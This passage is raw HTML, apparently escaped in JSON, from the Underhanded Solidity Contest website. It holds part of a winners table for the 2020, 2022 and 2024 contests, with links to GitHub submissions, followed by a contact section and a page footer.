Iglesias</a></td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🥈</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2020</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>Upgrade Mechanisms</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/ethereum/solidity-underhanded-contest/tree/master/2020/submissions_2020/submission1_CoreyDickson\">Cory Dickson</a></td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🥉</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2020</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>Upgrade Mechanisms</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/ethereum/solidity-underhanded-contest/tree/master/2020/submissions_2020/submission8_RichardMoore\">Richard Moore</a></td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🏅</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2020</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>Upgrade Mechanisms</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/ethereum/solidity-underhanded-contest/tree/master/2020/submissions_2020/submission14_MariusVanDerWijden\">Marius van der Wijden</a></td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🏅</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2022</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>Decentralized Exchanges</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/ethereum/solidity-underhanded-contest/tree/master/2022/submissions_2022/submission9_TynanRichards\">Tynan Richards</a></td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🥇</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2022</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>Decentralized Exchanges</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/ethereum/solidity-underhanded-contest/tree/master/2022/submissions_2022/submission10_SantiagoPalladino\">Santiago Palladino</a></td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🥈</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2022</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>Decentralized Exchanges</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/ethereum/solidity-underhanded-contest/tree/master/2022/submissions_2022/submission17_MichaelZhu\">Michael Zhu</a></td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🥉</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2024</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>Transient Storage</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/ethereum/solidity-underhanded-contest/tree/master/2024/submissions_2024/submission4_Gerard_Persoon\">Gerard Persoon</a></td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🥇</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>2024</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>Transient Storage</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td><a href=\"https://github.com/ethereum/solidity-underhanded-contest/tree/master/2024/submissions_2024/submission3_William_Bowling\">William Bowling</a></td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td>🏅</td>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tbody>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</table>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</section>\t\r\n\t\t\t\t\t</section>\r\n\t\t\t\r\n\t\t\t\t<!-- Five -->\r\n\t\t\t\t\t<section id=\"contact\" class=\"wrapper style2 spotlights\">\r\n\t\t\t\t\t\t<div class=\"inner\">\r\n\t\t\t\t\t\t\t<h2>Contact</h2>\r\n\t\t\t\t\t\t\t<p>You have questions, want to get involved by sponsoring a prize, helping with judging or proposing a theme for the next Underhanded Solidity Contest? Then feel free to get in touch!</p>\r\n\t\t\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t\t\t<ul class=\"contact\">\r\n\t\t\t\t\t\t\t\t\t\t<li>\r\n\t\t\t\t\t\t\t\t\t\t\t<h3>Email</h3>\r\n\t\t\t\t\t\t\t\t\t\t\t<a href=\"mailto:sol_underhanded@ethereum.org\">sol_underhanded@ethereum.org</a>\r\n\t\t\t\t\t\t\t\t\t\t</li>\r\n\t\t\t\t\t\t\t\t\t\t<li>\r\n\t\t\t\t\t\t\t\t\t\t\t<h3>Social</h3>\r\n\t\t\t\t\t\t\t\t\t\t\t<ul class=\"icons\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://twitter.com/solidity_lang\" class=\"icon brands fa-twitter\"><span class=\"label\">Twitter</span></a></li>\r\n\t\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://fosstodon.org/@solidity\" class=\"icon brands fa-mastodon\"><span class=\"label\">Mastodon</span></a></li>\r\n\t\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://github.com/ethereum/solidity\" class=\"icon brands fa-github\"><span class=\"label\">Github</span></a></li>\r\n\t\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://matrix.to/#/#ethereum_solidity:gitter.im\" class=\"icon fas fa-comments\"><span class=\"label\">Matrix</span></a></li>\r\n\t\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://solidity.org/\" class=\"icon solid fa-globe\"><span class=\"label\">Web</span></a></li>\r\n\t\t\t\t\t\t\t\t\t\t\t</ul>\r\n\t\t\t\t\t\t\t\t\t\t</li>\r\n\t\t\t\t\t\t\t\t\t</ul>\r\n\t\t\t\t\t\t\t\t</section>\r\n\t\t\t\t\t\t</div>\r\n\t\t\t\t\t</section>\r\n\r\n\t\t\t</div>\r\n\r\n\t\t<!-- Footer -->\r\n\t\t\t<footer id=\"footer\" class=\"wrapper style1-alt\">\r\n\t\t\t\t<div class=\"inner\">\r\n\t\t\t\t\t<ul class=\"menu\">\r\n\t\t\t\t\t\t<li>Made by the Solidity Team - 2024</li><li>Hyperspace Template by <a href=\"http://html5up.net\">HTML5 UP</a></li><li>Pattern by Shadows of love from NounProject.com</li>\r\n\t\t\t\t\t</ul>\r\n\t\t\t\t</div>\r\n\t\t\t</footer>\r\n\r\n\t\t<!-- Scripts -->\r\n\t\t\t<script src=\"assets/js/jquery.min.js\"></script>\r\n\t\t\t<script src=\"assets/js/jquery.scrollex.min.js\"></script>\r\n\t\t\t<script src=\"assets/js/jquery.scrolly.min.js\"></script>\r\n\t\t\t<script src=\"assets/js/browser.min.js\"></script>\r\n\t\t\t<script src=\"assets/js/breakpoints.min.js\"></script>\r\n\t\t\t<script src=\"assets/js/util.js\"></script>\r\n\t\t\t<script src=\"assets/js/main.js\"></script>\r\n\r\n\t</body>\r\n</html>\r\n"
  }
]